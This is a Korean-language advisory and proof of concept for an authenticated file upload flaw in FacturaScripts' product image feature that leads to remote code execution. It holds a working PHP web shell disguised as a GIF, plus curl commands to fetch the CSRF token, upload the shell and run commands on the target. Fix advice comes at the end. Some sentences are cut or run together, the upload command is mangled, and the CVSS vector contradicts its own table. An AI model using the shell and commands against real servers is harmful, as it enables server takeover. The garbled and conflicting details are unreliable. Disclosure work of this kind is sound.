
FacturaScripts RCE 익스플로잇 - 개념 증명
FacturaScripts의 제품 이미지 업로드 기능에 인증된 사용자의 무제한 파일 업로드 취약점이 존재합니다. 유효한 자격 증명을 가진 공격자는 GIF89a 헤더를 사용하여 PHP 파일을 GIF 이미지로 위장해 업로드함으로써 MIME 타입 검증을 우회할 수 있습니다. 파일은 원래 확장자(.php와 같은 실행 가능한 확장자 포함)로 저장됩니다.
취약점은 다음 위치에 존재합니다:
Core/Lib/ExtendedController/ProductImagesTrait.php
구체적으로는 addImageAction() 메서드에 있습니다.
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
Tools::log()->error('file-not-supported');
continue;
}
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
"image/"가 포함되어 있는지만 확인합니다.image/gif로 잘못 식별합니다..php 확장자로 저장됩니다.업로드된 파일은 다음 위치에 저장됩니다:
/MyFiles/YYYY/MM/X.php
여기서 X는 자동 증가 ID입니다. 이를 통해 직접 원격 실행이 가능합니다:
http://target/MyFiles/2026/03/2.php?cmd=id
성공적인 악용 시 다음이 가능합니다:
공격자는 실행 가능한 확장자(예: .php)를 가진 파일을 서버에 업로드할 수 있으며, 서버 구성에 따라 추가 악용으로 이어질 수 있습니다.
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF
PHPSESSID를 추출합니다.curl -s "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
| grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4
curl -X POST "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
-F "multireqtoken=YOUR_CSRF_TOKEN" \
-F "action=add-image" \
-F "activetab=EditProductoImagen" \
-F "idproducto=3" \
-F "newfiles[][email protected]"
curl "http://target/MyFiles/2026/03/2.php?cmd=id"
벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
기본 점수: 6.3 (보통)
| 메트릭 | 값 |
|---|---|
| 공격 벡터 | 네트워크 (AV:N) |
| 공격 복잡성 | 낮음 (AC:L) |
| 필요한 권한 | 낮음 (PR:L) |
| 사용자 상호작용 | 없음 (UI:N) |
| 범위 | 변경됨 (S:C) |
| 기밀성 | 높음 (C:H) |
| 무결성 | 높음 (I:H) |
| 가용성 | 높음 (A:H) |
| 필드 | 값 |
|---|---|
| 생태계 | Packagist |
| CVE ID | CVE-2026-42879 |
| 패키지 이름 | facturascripts/facturascripts |
| 영향을 받는 버전 | <= 2025.81 |
| 패치된 버전 | 아직 패치되지 않음 |
| 수정 버전 | 대기 중 |
.php, .phtml, .phar 또는 기타 실행 가능한 확장자로 끝나는 업로드를 거부합니다.getClientOriginalName()을 사용하지 말고 검증된 확장자를 가진 안전한 UUID 기반 이름을 할당합니다.fileinfo와 같은 라이브러리로 실제 파일 콘텐츠(매직 바이트 + 확장자 + MIME 타입)를 검증합니다.